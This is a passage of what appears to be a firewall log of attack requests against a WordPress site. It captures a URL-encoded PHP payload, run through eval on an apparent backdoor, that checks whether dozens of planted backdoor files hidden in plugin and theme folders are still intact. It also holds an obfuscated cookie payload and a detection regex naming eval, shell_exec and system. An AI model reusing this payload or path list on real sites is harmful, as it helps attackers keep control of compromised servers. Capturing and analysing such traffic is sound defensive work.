%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIyLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-length:14200\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nVV=%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core32\/mpasm.php%22%3D%3E%22bd%40%40278623559%40%40891%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-includes\/Requests\/src\/Auth\/accept.php%22%3D%3E%22bd%40%40257245411%40%40871%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Parse\/bg_BG.php%22%3D%3E%22bd%40%40244665584%40%40597%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-content\/plugins\/astra-sites\/inc\/classes\/compatibility\/learndash\/class-astra-sites-compatibility-learndash.php%22%3D%3E%22bd%40%40282625858%40%40jZgVad%22%2C%0A%22\/wp-admin\/media.php%22%3D%3E%22bd%40%40263416356%40%401402%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ConversionActionStatusEnum\/checkout.php%22%3D%3E%22bd%40%40282625866%40%401043%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img.php%22%3D%3E%22bd%40%40279403237%40%40899%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20"]
["2026-04-20 08:03:31","213.209.159.254","POST","\/wp-admin\/network\/upgrade.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GBStEu:eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core32\/mpasm.php%22%3D%3E%22bd%40%40278623559%40%40891%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-includes\/Requests\/src\/Auth\/accept.php%22%3D%3E%22bd%40%40257245411%40%40871%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Parse\/bg_BG.php%22%3D%3E%22bd%40%40244665584%40%40597%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-content\/plugins\/astra-sites\/inc\/classes\/compatibility\/learndash\/class-astra-sites-compatibility-learndash.php%22%3D%3E%22bd%40%40282625858%40%40jZgVad%22%2C%0A%22\/wp-admin\/media.php%22%3D%3E%22bd%40%40263416356%40%401402%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ConversionActionStatusEnum\/checkout.php%22%3D%3E%22bd%40%40282625866%40%401043%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img.php%22%3D%3E%22bd%40%40279403237%40%40899%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%